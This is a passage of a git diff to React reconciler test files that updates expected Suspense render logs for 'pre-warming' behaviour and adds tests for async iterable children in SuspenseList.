+      // We get this warning because the generator's promise themselves are not cached.
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in Foo (at **)',
+    ]);
+  });
+
+  // @gate enableSuspenseList && enableAsyncIterableChildren
+  it('can display async iterable in "forwards" order', async () => {
+    const A = createAsyncText('A');
+    const B = createAsyncText('B');
+
+    // We use Cached elements to avoid rerender.
+    const ASlot = (
+      <Suspense key="A" fallback={<Text text="Loading A" />}>
+        <A />
+      </Suspense>
+    );
+
+    const BSlot = (
+      <Suspense key="B" fallback={<Text text="Loading B" />}>
+        <B />
+      </Suspense>
+    );
+
+    const iterable = {
+      async *[Symbol.asyncIterator]() {
+        yield ASlot;
+        yield BSlot;
+      },
+    };
+
+    function Foo() {
+      return (
+        <SuspenseList revealOrder="forwards" tail="visible">
+          {iterable}
+        </SuspenseList>
+      );
+    }
+
+    await act(() => {
+      React.startTransition(() => {
+        ReactNoop.render(<Foo />);
+      });
+    });
+
+    assertLog([
+      'Suspend! [A]',
+      'Loading A',
+      'Loading B',
+      // pre-warming
+      'Suspend! [A]',
+    ]);
+
+    assertConsoleErrorDev([
+      // We get this warning because the generator's promise themselves are not cached.
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in SuspenseList (at **)\n' +
+        '    in Foo (at **)',
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in SuspenseList (at **)\n' +
+        '    in Foo (at **)',
+    ]);
+
+    expect(ReactNoop).toMatchRenderedOutput(
+      <>
+        <span>Loading A</span>
+        <span>Loading B</span>
+      </>,
+    );
+
+    await act(() => A.resolve());
+    assertLog(['A', 'Suspend! [B]', 'Suspend! [B]']);
+
+    assertConsoleErrorDev([
+      // We get this warning because the generator's promise themselves are not cached.
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in SuspenseList (at **)\n' +
+        '    in Foo (at **)',
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in SuspenseList (at **)\n' +
+        '    in Foo (at **)',
+    ]);
+
+    expect(ReactNoop).toMatchRenderedOutput(
+      <>
+        <span>A</span>
+        <span>Loading B</span>
+      </>,
+    );
+
+    await act(() => B.resolve());
+    assertLog(['B']);
+
+    assertConsoleErrorDev([
+      // We get this warning because the generator's promise themselves are not cached.
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in SuspenseList (at **)\n' +
+        '    in Foo (at **)',
+    ]);
+
+    expect(ReactNoop).toMatchRenderedOutput(
+      <>
+        <span>A</span>
+        <span>B</span>
+      </>,
+    );
+  });
+
+  // @gate enableSuspenseList && enableAsyncIterableChildren
+  it('warns if a nested async iterable is passed to a "forwards" list', async () => {
+    function Foo({items}) {
+      return (
+        <SuspenseList revealOrder="forwards" tail="visible">
+          {items}
+          <div>Tail</div>
+        </SuspenseList>
+      );
+    }
+
+    const iterable = {
+      async *[Symbol.asyncIterator]() {
+        yield (
+          <Suspense key={'A'} fallback="Loading">
+            A
+          </Suspense>
+        );
+        yield (
+          <Suspense key={'B'} fallback="Loading">
+            B
+          </Suspense>
+        );
+      },
+    };
+
+    await act(() => {
+      React.startTransition(() => {
+        ReactNoop.render(<Foo items={iterable} />);
+      });
+    });
+    assertConsoleErrorDev([
+      'A nested async iterable was passed to row #0 in <SuspenseList />. ' +
+        'Wrap it in an additional SuspenseList to configure its revealOrder: ' +
+        '<SuspenseList revealOrder=...> ... ' +
+        '<SuspenseList revealOrder=...>{async iterable}</SuspenseList> ... ' +
+        '</SuspenseList>' +
+        '\n    in SuspenseList (at **)' +
+        '\n    in Foo (at **)',
+      // We get this warning because the generator's promise themselves are not cached.
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in Foo (at **)',
+    ]);
+  });
 });
diff --git a/packages/react-reconciler/src/__tests__/ReactSuspensePlaceholder-test.internal.js b/packages/react-reconciler/src/__tests__/ReactSuspensePlaceholder-test.internal.js
index 01e2323df95e..196022d8a383 100644
--- a/packages/react-reconciler/src/__tests__/ReactSuspensePlaceholder-test.internal.js
+++ b/packages/react-reconciler/src/__tests__/ReactSuspensePlaceholder-test.internal.js
@@ -135,7 +135,15 @@ describe('ReactSuspensePlaceholder', () => {
     // Initial mount
     ReactNoop.render(<App middleText="B" />);
 
-    await waitForAll(['A', 'Suspend! [B]', 'Loading...']);
+    await waitForAll([
+      'A',
+      'Suspend! [B]',
+      'Loading...',
+      // pre-warming
+      'A',
+      'Suspend! [B]',
+      'C',
+    ]);
     expect(ReactNoop).toMatchRenderedOutput('Loading...');
 
     await act(() => jest.advanceTimersByTime(1000));
@@ -151,7 +159,13 @@ describe('ReactSuspensePlaceholder', () => {
 
     // Update
     ReactNoop.render(<App middleText="B2" />);
-    await waitForAll(['Suspend! [B2]', 'Loading...']);
+    await waitForAll([
+      'Suspend! [B2]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [B2]',
+      'C',
+    ]);
 
     // Time out the update
     jest.advanceTimersByTime(750);
@@ -194,7 +208,15 @@ describe('ReactSuspensePlaceholder', () => {
     // Initial mount
     ReactNoop.render(<App middleText="B" />);
 
-    await waitForAll(['A', 'Suspend! [B]', 'Loading...']);
+    await waitForAll([
+      'A',
+      'Suspend! [B]',
+      'Loading...',
+      // pre-warming
+      'A',
+      'Suspend! [B]',
+      'C',
+    ]);
 
     expect(ReactNoop).not.toMatchRenderedOutput('ABC');
 
@@ -204,7 +226,15 @@ describe('ReactSuspensePlaceholder', () => {
 
     // Update
     ReactNoop.render(<App middleText="B2" />);
-    await waitForAll(['A', 'Suspend! [B2]', 'Loading...']);
+    await waitForAll([
+      'A',
+      'Suspend! [B2]',
+      'Loading...',
+      // pre-warming
+      'A',
+      'Suspend! [B2]',
+      'C',
+    ]);
     // Time out the update
     jest.advanceTimersByTime(750);
     await waitForAll([]);
@@ -237,7 +267,15 @@ describe('ReactSuspensePlaceholder', () => {
     // Initial mount
     ReactNoop.render(<App middleText="b" />);
 
-    await waitForAll(['a', 'Suspend! [b]', 'Loading...']);
+    await waitForAll([
+      'a',
+      'Suspend! [b]',
+      'Loading...',
+      // pre-warming
+      'a',
+      'Suspend! [b]',
+      'c',
+    ]);
 
     expect(ReactNoop).toMatchRenderedOutput(<uppercase>LOADING...</uppercase>);
 
@@ -247,7 +285,14 @@ describe('ReactSuspensePlaceholder', () => {
 
     // Update
     ReactNoop.render(<App middleText="b2" />);
-    await waitForAll(['a', 'Suspend! [b2]', 'Loading...']);
+    await waitForAll([
+      'a',
+      'Suspend! [b2]',
+      'Loading...',
+      'a',
+      'Suspend! [b2]',
+      'c',
+    ]);
     // Time out the update
     jest.advanceTimersByTime(750);
     await waitForAll([]);
@@ -340,11 +385,17 @@ describe('ReactSuspensePlaceholder', () => {
           'Suspending',
           'Suspend! [Loaded]',
           'Fallback',
+          // pre-warming
+          'Suspending',
+          'Suspend! [Loaded]',
+          'Text',
         ]);
         // Since this is initial render we immediately commit the fallback. Another test below
         // deals with the update case where this suspends.
         expect(ReactNoop).toMatchRenderedOutput('Loading...');
-        expect(onRender).toHaveBeenCalledTimes(1);
+        expect(onRender).toHaveBeenCalledTimes(
+          gate('alwaysThrottleRetries') ? 1 : 2,
+        );
 
         // Initial mount only shows the "Loading..." Fallback.
         // The treeBaseDuration then should be 10ms spent rendering Fallback,
@@ -361,12 +412,13 @@ describe('ReactSuspensePlaceholder', () => {
           'Text',
         ]);
         expect(ReactNoop).toMatchRenderedOutput('LoadedText');
-        expect(onRender).toHaveBeenCalledTimes(2);
+
+        expect(onRender).toHaveBeenCalledTimes(3);
 
         // When the suspending data is resolved and our final UI is rendered,
         // both times should include the 8ms re-rendering Suspending and AsyncText.
-        expect(onRender.mock.calls[1][2]).toBe(8);
-        expect(onRender.mock.calls[1][3]).toBe(8);
+        expect(onRender.mock.calls[2][2]).toBe(8);
+        expect(onRender.mock.calls[2][3]).toBe(8);
       });
     });
 
@@ -487,10 +539,16 @@ describe('ReactSuspensePlaceholder', () => {
           'Suspending',
           'Suspend! [Loaded]',
           'Fallback',
+          // pre-warming
+          'Suspending',
+          'Suspend! [Loaded]',
+          'Text',
         ]);
         // Show the fallback UI.
         expect(ReactNoop).toMatchRenderedOutput('Loading...');
-        expect(onRender).toHaveBeenCalledTimes(2);
+        expect(onRender).toHaveBeenCalledTimes(
+          gate('alwaysThrottleRetries') ? 2 : 3,
+        );
 
         jest.advanceTimersByTime(900);
 
@@ -526,9 +584,17 @@ describe('ReactSuspensePlaceholder', () => {
           'Suspend! [Loaded]',
           'Fallback',
           'Suspend! [Sibling]',
+          // pre-warming
+          'Suspending',
+          'Suspend! [Loaded]',
+          'New',
+          'Suspend! [Sibling]',
         ]);
         expect(ReactNoop).toMatchRenderedOutput('Loading...');
-        expect(onRender).toHaveBeenCalledTimes(3);
+
+        expect(onRender).toHaveBeenCalledTimes(
+          gate('alwaysThrottleRetries') ? 4 : 5,
+        );
 
         // Resolve the pending promise.
         await act(async () => {
@@ -539,13 +605,18 @@ describe('ReactSuspensePlaceholder', () => {
           ]);
           await waitForAll(['Suspending', 'Loaded', 'New', 'Sibling']);
         });
-        expect(onRender).toHaveBeenCalledTimes(4);
+
+        expect(onRender).toHaveBeenCalledTimes(
+          gate('alwaysThrottleRetries') ? 5 : 6,
+        );
 
         // When the suspending data is resolved and our final UI is rendered,
         // both times should include the 6ms rendering Text,
         // the 2ms rendering Suspending, and the 1ms rendering AsyncText.
-        expect(onRender.mock.calls[3][2]).toBe(9);
-        expect(onRender.mock.calls[3][3]).toBe(9);
+        expect(onRender.mock.calls[4][2]).toBe(9);
+        expect(onRender.mock.calls[4][3]).toBe(
+          gate('alwaysThrottleRetries') ? 9 : 10,
+        );
       });
     });
   });
diff --git a/packages/react-reconciler/src/__tests__/ReactSuspenseWithNoopRenderer-test.js b/packages/react-reconciler/src/__tests__/ReactSuspenseWithNoopRenderer-test.js
index fd37cdac6993..44d784788b21 100644
--- a/packages/react-reconciler/src/__tests__/ReactSuspenseWithNoopRenderer-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactSuspenseWithNoopRenderer-test.js
@@ -295,6 +295,11 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       'Bar',
       // A suspends
       'Suspend! [A]',
+
+      // pre-warming
+      'B',
+      // end pre-warming
+
       // We immediately unwind and switch to a fallback without
       // rendering siblings.
       'Loading...',
@@ -331,6 +336,9 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       'Loading A...',
       'Suspend! [B]',
       'Loading B...',
+      // pre-warming
+      'Suspend! [A]',
+      'Suspend! [B]',
     ]);
     expect(ReactNoop).toMatchRenderedOutput(
       <>
@@ -342,7 +350,12 @@ describe('ReactSuspenseWithNoopRenderer', () => {
     // Resolve first Suspense's promise so that it switches switches back to the
     // normal view. The second Suspense should still show the placeholder.
     await act(() => resolveText('A'));
-    assertLog(['A']);
+    assertLog([
+      'A',
+      ...(gate('alwaysThrottleRetries')
+        ? ['Suspend! [B]', 'Suspend! [B]']
+        : []),
+    ]);
     expect(ReactNoop).toMatchRenderedOutput(
       <>
         <span prop="A" />
@@ -379,7 +392,15 @@ describe('ReactSuspenseWithNoopRenderer', () => {
     });
 
     // B suspends. Render a fallback
-    await waitForAll(['A', 'Suspend! [B]', 'Loading...']);
+    await waitForAll([
+      'A',
+      'Suspend! [B]',
+      // pre-warming
+      'C',
+      'D',
+      // end pre-warming
+      'Loading...',
+    ]);
     // Did not commit yet.
     expect(ReactNoop).toMatchRenderedOutput(null);
 
@@ -486,7 +507,12 @@ describe('ReactSuspenseWithNoopRenderer', () => {
     }
 
     ReactNoop.render(<App />);
-    await waitForAll(['Suspend! [Result]', 'Loading...']);
+    await waitForAll([
+      'Suspend! [Result]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [Result]',
+    ]);
     expect(ReactNoop).toMatchRenderedOutput(<span prop="Loading..." />);
 
     await act(() => rejectText('Result', new Error('Failed to load: Result')));
@@ -533,7 +559,13 @@ describe('ReactSuspenseWithNoopRenderer', () => {
 
     // Initial mount
     await act(() => ReactNoop.render(<App />));
-    assertLog(['A', 'Suspend! [1]', 'Loading...']);
+    assertLog([
+      'A',
+      'Suspend! [1]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [1]',
+    ]);
 
     await act(() => resolveText('1'));
     assertLog(['1']);
@@ -598,7 +630,13 @@ describe('ReactSuspenseWithNoopRenderer', () => {
     React.startTransition(() => {
       ReactNoop.render(<App showA={true} showB={true} />);
     });
-    await waitForAll(['Suspend! [A]', 'Loading...']);
+    await waitForAll([
+      'Suspend! [A]',
+      // pre-warming
+      'B',
+      // end pre-warming
+      'Loading...',
+    ]);
     expect(ReactNoop).toMatchRenderedOutput(null);
 
     await resolveText('A');
@@ -728,6 +766,10 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       // The async content suspends
       'Suspend! [Outer content]',
       'Loading outer...',
+      // pre-warming
+      'Suspend! [Outer content]',
+      'Suspend! [Inner content]',
+      'Loading inner...',
     ]);
     // The outer loading state finishes immediately.
     expect(ReactNoop).toMatchRenderedOutput(
@@ -904,7 +946,13 @@ describe('ReactSuspenseWithNoopRenderer', () => {
         <AsyncText text="B" />
       </Suspense>,
     );
-    await waitForAll(['Suspend! [A]', 'Loading...']);
+    await waitForAll([
+      'Suspend! [A]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [A]',
+      'Suspend! [B]',
+    ]);
     expect(ReactNoop).toMatchRenderedOutput(<span prop="Loading..." />);
 
     await act(() => {
@@ -1014,7 +1062,13 @@ describe('ReactSuspenseWithNoopRenderer', () => {
     }
 
     ReactNoop.render(<App />);
-    await waitForAll(['Suspend! [A]']);
+    await waitForAll([
+      'Suspend! [A]',
+      // pre-warming
+      'Suspend! [A]',
+      'Suspend! [B]',
+      'Suspend! [C]',
+    ]);
     expect(ReactNoop).toMatchRenderedOutput('Loading...');
 
     await resolveText('A');
@@ -1677,6 +1731,10 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       // A suspends
       'Suspend! [A]',
       'Loading...',
+      // pre-warming
+      'Suspend! [A]',
+      'Suspend! [B]',
+      'Loading more...',
     ]);
     expect(ReactNoop).toMatchRenderedOutput(<span prop="Loading..." />);
 
@@ -1691,6 +1749,8 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       // B suspends
       'Suspend! [B]',
       'Loading more...',
+      // pre-warming
+      'Suspend! [B]',
     ]);
 
     // Because we've already been waiting for so long we've exceeded
@@ -1735,6 +1795,10 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       // A suspends
       'Suspend! [A]',
       'Loading...',
+      // pre-warming
+      'Suspend! [A]',
+      'Suspend! [B]',
+      'Loading more...',
     ]);
     expect(ReactNoop).toMatchRenderedOutput(<span prop="Loading..." />);
 
@@ -1813,6 +1877,9 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       'Loading A...',
       'Suspend! [B]',
       'Loading B...',
+      // pre-warming
+      'Suspend! [A]',
+      'Suspend! [B]',
     ]);
     expect(ReactNoop).toMatchRenderedOutput(
       <>
@@ -1829,6 +1896,10 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       // be throttled because the fallback would have appeared too recently.
       Scheduler.unstable_advanceTime(10000);
       jest.advanceTimersByTime(10000);
+      if (gate(flags => flags.enableYieldingBeforePassive)) {
+        // Passive effects.
+        await waitForPaint([]);
+      }
       await waitForPaint(['A']);
       expect(ReactNoop).toMatchRenderedOutput(
         <>
@@ -1903,7 +1974,7 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       ReactNoop.render(<App />);
     });
 
-    // TODO: assert toErrorDev() when the warning is implemented again.
+    // TODO: assertConsoleErrorDev() when the warning is implemented again.
     await act(() => {
       ReactNoop.flushSync(() => _setShow(true));
     });
@@ -1930,7 +2001,7 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       ReactNoop.render(<App />);
     });
 
-    // TODO: assert toErrorDev() when the warning is implemented again.
+    // TODO: assertConsoleErrorDev() when the warning is implemented again.
     await act(() => {
       ReactNoop.flushSync(() => show());
     });
@@ -1957,14 +2028,23 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       ReactNoop.render(<App />);
     });
 
-    assertLog(['Suspend! [A]']);
+    assertLog([
+      'Suspend! [A]',
+      // pre-warming
+      'Suspend! [A]',
+    ]);
     expect(ReactNoop).toMatchRenderedOutput('Loading...');
 
     await act(() => {
       ReactNoop.flushSync(() => showB());
     });
 
-    assertLog(['Suspend! [A]']);
+    assertLog([
+      'Suspend! [A]',
+      // pre-warming
+      'Suspend! [A]',
+      'Suspend! [B]',
+    ]);
   });
 
   // TODO: flip to "warns" when this is implemented again.
@@ -1990,7 +2070,7 @@ describe('ReactSuspenseWithNoopRenderer', () => {
         ReactNoop.render(<App />);
       });
 
-      // TODO: assert toErrorDev() when the warning is implemented again.
+      // TODO: assertConsoleErrorDev() when the warning is implemented again.
       await act(() => {
         ReactNoop.flushSync(() => _setShow(true));
       });
@@ -2020,7 +2100,11 @@ describe('ReactSuspenseWithNoopRenderer', () => {
     // also make sure lowpriority is okay
     await act(() => show(true));
 
-    assertLog(['Suspend! [A]']);
+    assertLog([
+      'Suspend! [A]',
+      // pre-warming
+      'Suspend! [A]',
+    ]);
     await resolveText('A');
 
     expect(ReactNoop).toMatchRenderedOutput('Loading...');
@@ -2046,7 +2130,11 @@ describe('ReactSuspenseWithNoopRenderer', () => {
     // also make sure lowpriority is okay
     await act(() => _setShow(true));
 
-    assertLog(['Suspend! [A]']);
+    assertLog([
+      'Suspend! [A]',
+      // pre-warming
+      'Suspend! [A]',
+    ]);
     await resolveText('A');
 
     expect(ReactNoop).toMatchRenderedOutput('Loading...');
@@ -2070,7 +2158,14 @@ describe('ReactSuspenseWithNoopRenderer', () => {
     }
 
     ReactNoop.render(<Foo />);
-    await waitForAll(['Foo', 'Suspend! [A]', 'Initial load...']);
+    await waitForAll([
+      'Foo',
+      'Suspend! [A]',
+      'Initial load...',
+      // pre-warming
+      'Suspend! [A]',
+      'B',
+    ]);
     expect(ReactNoop).toMatchRenderedOutput(<span prop="Initial load..." />);
 
     // Eventually we resolve and show the data.
@@ -2085,7 +2180,16 @@ describe('ReactSuspenseWithNoopRenderer', () => {
 
     // Update to show C
     ReactNoop.render(<Foo showC={true} />);
-    await waitForAll(['Foo', 'A', 'Suspend! [C]', 'Updating...', 'B']);
+    await waitForAll([
+      'Foo',
+      'A',
+      'Suspend! [C]',
+      'Updating...',
+      'B',
+      // pre-warming
+      'A',
+      'Suspend! [C]',
+    ]);
     // Flush to skip suspended time.
     Scheduler.unstable_advanceTime(600);
     await advanceTimers(600);
@@ -2132,6 +2236,8 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       'Suspend! [A]',
       'B',
       // null
+      // pre-warming
+      'Suspend! [A]',
     ]);
     expect(ReactNoop).toMatchRenderedOutput(<span prop="B" />);
 
@@ -2153,6 +2259,9 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       'Suspend! [C]',
       // null
       'B',
+      // pre-warming
+      'A',
+      'Suspend! [C]',
     ]);
     // Flush to skip suspended time.
     Scheduler.unstable_advanceTime(600);
@@ -2195,7 +2304,14 @@ describe('ReactSuspenseWithNoopRenderer', () => {
     }
 
     ReactNoop.render(<Foo />);
-    await waitForAll(['Foo', 'A', 'Suspend! [B]', 'Loading B...']);
+    await waitForAll([
+      'Foo',
+      'A',
+      'Suspend! [B]',
+      'Loading B...',
+      // pre-warming
+      'Suspend! [B]',
+    ]);
     // Flush to skip suspended time.
     Scheduler.unstable_advanceTime(600);
     await advanceTimers(600);
@@ -2234,27 +2350,14 @@ describe('ReactSuspenseWithNoopRenderer', () => {
     await waitForAll(['Foo', 'A']);
     expect(ReactNoop).toMatchRenderedOutput(<span prop="A" />);
 
-    if (gate(flags => flags.forceConcurrentByDefaultForTesting)) {
+    React.startTransition(() => {
       ReactNoop.render(<Foo showB={true} />);
-    } else {
-      React.startTransition(() => {
-        ReactNoop.render(<Foo showB={true} />);
-      });
-    }
+    });
 
     await waitForAll(['Foo', 'A', 'Suspend! [B]', 'Loading B...']);
 
-    if (gate(flags => flags.forceConcurrentByDefaultForTesting)) {
-      expect(ReactNoop).toMatchRenderedOutput(
-        <>
-          <span prop="A" />
-          <span prop="Loading B..." />
-        </>,
-      );
-    } else {
-      // Transitions never fall back.
-      expect(ReactNoop).toMatchRenderedOutput(<span prop="A" />);
-    }
+    // Transitions never fall back.
+    expect(ReactNoop).toMatchRenderedOutput(<span prop="A" />);
   });
 
   // @gate enableLegacyCache
@@ -2288,6 +2391,8 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       'A',
       'Suspend! [B]',
       // Null
+      // pre-warming
+      'Suspend! [B]',
     ]);
     // Still suspended.
     expect(ReactNoop).toMatchRenderedOutput(<span prop="A" />);
@@ -2313,7 +2418,12 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       // Initial render.
       React.startTransition(() => ReactNoop.render(<App page="A" />));
 
-      await waitForAll(['Suspend! [A]', 'Loading...']);
+      await waitForAll([
+        'Suspend! [A]',
+        'Loading...',
+        // pre-warming
+        'Suspend! [A]',
+      ]);
       // Only a short time is needed to unsuspend the initial loading state.
       Scheduler.unstable_advanceTime(400);
       await advanceTimers(400);
@@ -2362,7 +2472,12 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       await act(async () => {
         React.startTransition(() => transitionToPage('A'));
 
-        await waitForAll(['Suspend! [A]', 'Loading...']);
+        await waitForAll([
+          'Suspend! [A]',
+          'Loading...',
+          // pre-warming
+          'Suspend! [A]',
+        ]);
         // Only a short time is needed to unsuspend the initial loading state.
         Scheduler.unstable_advanceTime(400);
         await advanceTimers(400);
@@ -2417,7 +2532,12 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       await act(async () => {
         React.startTransition(() => transitionToPage('A'));
 
-        await waitForAll(['Suspend! [A]', 'Loading...']);
+        await waitForAll([
+          'Suspend! [A]',
+          'Loading...',
+          // pre-warming
+          'Suspend! [A]',
+        ]);
         // Only a short time is needed to unsuspend the initial loading state.
         Scheduler.unstable_advanceTime(400);
         await advanceTimers(400);
@@ -2461,7 +2581,12 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       // Initial render.
       React.startTransition(() => ReactNoop.render(<App page="A" />));
 
-      await waitForAll(['Suspend! [A]', 'Loading...']);
+      await waitForAll([
+        'Suspend! [A]',
+        'Loading...',
+        // pre-warming
+        'Suspend! [A]',
+      ]);
       // Only a short time is needed to unsuspend the initial loading state.
       Scheduler.unstable_advanceTime(400);
       await advanceTimers(400);
@@ -2521,7 +2646,12 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       await act(async () => {
         React.startTransition(() => transitionToPage('A'));
 
-        await waitForAll(['Suspend! [A]', 'Loading...']);
+        await waitForAll([
+          'Suspend! [A]',
+          'Loading...',
+          // pre-warming
+          'Suspend! [A]',
+        ]);
         // Only a short time is needed to unsuspend the initial loading state.
         Scheduler.unstable_advanceTime(400);
         await advanceTimers(400);
@@ -2591,7 +2721,12 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       await act(async () => {
         React.startTransition(() => transitionToPage('A'));
 
-        await waitForAll(['Suspend! [A]', 'Loading...']);
+        await waitForAll([
+          'Suspend! [A]',
+          'Loading...',
+          // pre-warming
+          'Suspend! [A]',
+        ]);
         // Only a short time is needed to unsuspend the initial loading state.
         Scheduler.unstable_advanceTime(400);
         await advanceTimers(400);
@@ -2652,7 +2787,14 @@ describe('ReactSuspenseWithNoopRenderer', () => {
 
     // Initial render.
     ReactNoop.render(<App page="A" />);
-    await waitForAll(['Hi!', 'Suspend! [A]', 'Loading...']);
+    await waitForAll([
+      'Hi!',
+      'Suspend! [A]',
+      'Loading...',
+      // pre-warming
+      'Hi!',
+      'Suspend! [A]',
+    ]);
     await act(() => resolveText('A'));
     assertLog(['Hi!', 'A']);
     expect(ReactNoop).toMatchRenderedOutput(
@@ -2973,65 +3115,6 @@ describe('ReactSuspenseWithNoopRenderer', () => {
     },
   );
 
-  // @gate enableLegacyCache
-  it(
-    'multiple updates originating inside a Suspense boundary at different ' +
-      'priority levels are not dropped, including Idle updates',
-    async () => {
-      const {useState} = React;
-      const root = ReactNoop.createRoot();
-
-      function Parent() {
-        return (
-          <>
-            <Suspense fallback={<Text text="Loading..." />}>
-              <Child />
-            </Suspense>
-          </>
-        );
-      }
-
-      let setText;
-      function Child() {
-        const [text, _setText] = useState('A');
-        setText = _setText;
-        return <AsyncText text={text} />;
-      }
-
-      await seedNextTextCache('A');
-      await act(() => {
-        root.render(<Parent />);
-      });
-      assertLog(['A']);
-      expect(root).toMatchRenderedOutput(<span prop="A" />);
-
-      await act(async () => {
-        // Schedule two updates that originate inside the Suspense boundary.
-        // The first one causes the boundary to suspend. The second one is at
-        // lower priority and unsuspends it by hiding the async component.
-        setText('B');
-
-        await resolveText('C');
-        ReactNoop.idleUpdates(() => {
-          setText('C');
-        });
-
-        // First we attempt the high pri update. It suspends.
-        await waitForPaint(['Suspend! [B]', 'Loading...']);
-        expect(root).toMatchRenderedOutput(
-          <>
-            <span hidden={true} prop="A" />
-            <span prop="Loading..." />
-          </>,
-        );
-
-        // Now flush the remaining work. The Idle update successfully finishes.
-        await waitForAll(['C']);
-        expect(root).toMatchRenderedOutput(<span prop="C" />);
-      });
-    },
-  );
-
   // @gate enableLegacyCache
   it(
     'fallback component can update itself even after a high pri update to ' +
@@ -3071,7 +3154,12 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       await act(async () => {
         // Schedule an update inside the Suspense boundary that suspends.
         setAppText('B');
-        await waitForAll(['Suspend! [B]', 'Loading...']);
+        await waitForAll([
+          'Suspend! [B]',
+          'Loading...',
+          // pre-warming
+          'Suspend! [B]',
+        ]);
       });
 
       expect(root).toMatchRenderedOutput(
@@ -3107,6 +3195,7 @@ describe('ReactSuspenseWithNoopRenderer', () => {
 
         // Then complete the update to the fallback.
         'Still loading...',
+        'Suspend! [C]',
       ]);
       expect(root).toMatchRenderedOutput(
         <>
@@ -3167,7 +3256,7 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       await act(() => {
         setText('C');
       });
-      assertLog(['Suspend! [C]', 'Loading...']);
+      assertLog(['Suspend! [C]', 'Loading...', 'Suspend! [C]']);
 
       // Commit. This will insert a fragment fiber to wrap around the component
       // that triggered the update.
@@ -3244,7 +3333,12 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       await act(() => {
         setText('C');
       });
-      assertLog(['Suspend! [C]', 'Loading...']);
+      assertLog([
+        'Suspend! [C]',
+        'Loading...',
+        // pre-warming
+        'Suspend! [C]',
+      ]);
 
       // Commit. This will insert a fragment fiber to wrap around the component
       // that triggered the update.
@@ -3273,7 +3367,13 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       });
       // Even though the fragment fiber is not part of the return path, we should
       // be able to finish rendering.
-      assertLog(['Suspend! [D]', 'E']);
+      assertLog([
+        'Suspend! [D]',
+        // pre-warming
+        'Suspend! [D]',
+        // end pre-warming
+        'E',
+      ]);
       expect(root).toMatchRenderedOutput(<span prop="E" />);
     },
   );
@@ -3359,6 +3459,9 @@ describe('ReactSuspenseWithNoopRenderer', () => {
         'Outer step: 0',
         'Suspend! [Inner text: B]',
         'Loading...',
+        // pre-warming
+        'Suspend! [Inner text: B]',
+        'Inner step: 0',
       ]);
       // Commit the placeholder
       await advanceTimers(250);
@@ -3387,6 +3490,9 @@ describe('ReactSuspenseWithNoopRenderer', () => {
         'Outer step: 1',
         'Suspend! [Inner text: B]',
         'Loading...',
+        // pre-warming
+        'Suspend! [Inner text: B]',
+        'Inner step: 1',
       ]);
       expect(root).toMatchRenderedOutput(
         <>
@@ -3477,7 +3583,13 @@ describe('ReactSuspenseWithNoopRenderer', () => {
     await act(() => {
       setText('B');
     });
-    assertLog(['Outer: B0', 'Suspend! [Inner: B0]', 'Loading...']);
+    assertLog([
+      'Outer: B0',
+      'Suspend! [Inner: B0]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [Inner: B0]',
+    ]);
     // Commit the placeholder
     await advanceTimers(250);
     expect(root).toMatchRenderedOutput(
@@ -3506,7 +3618,6 @@ describe('ReactSuspenseWithNoopRenderer', () => {
   });
 
   // @gate enableLegacyCache
-  // @gate forceConcurrentByDefaultForTesting
   it('regression: ping at high priority causes update to be dropped', async () => {
     const {useState, useTransition} = React;
 
@@ -3573,10 +3684,9 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       });
 
       await waitFor([
-        'B',
         'Suspend! [A1]',
         'Loading...',
-
+        'B',
         'Suspend! [A2]',
         'Loading...',
         'Suspend! [B2]',
@@ -3720,69 +3830,6 @@ describe('ReactSuspenseWithNoopRenderer', () => {
     });
   });
 
-  // @gate enableLegacyCache
-  it('regression: #18657', async () => {
-    const {useState} = React;
-
-    let setText;
-    function App() {
-      const [text, _setText] = useState('A');
-      setText = _setText;
-      return <AsyncText text={text} />;
-    }
-
-    const root = ReactNoop.createRoot();
-    await act(async () => {
-      await seedNextTextCache('A');
-      root.render(
-        <Suspense fallback={<Text text="Loading..." />}>
-          <App />
-        </Suspense>,
-      );
-    });
-    assertLog(['A']);
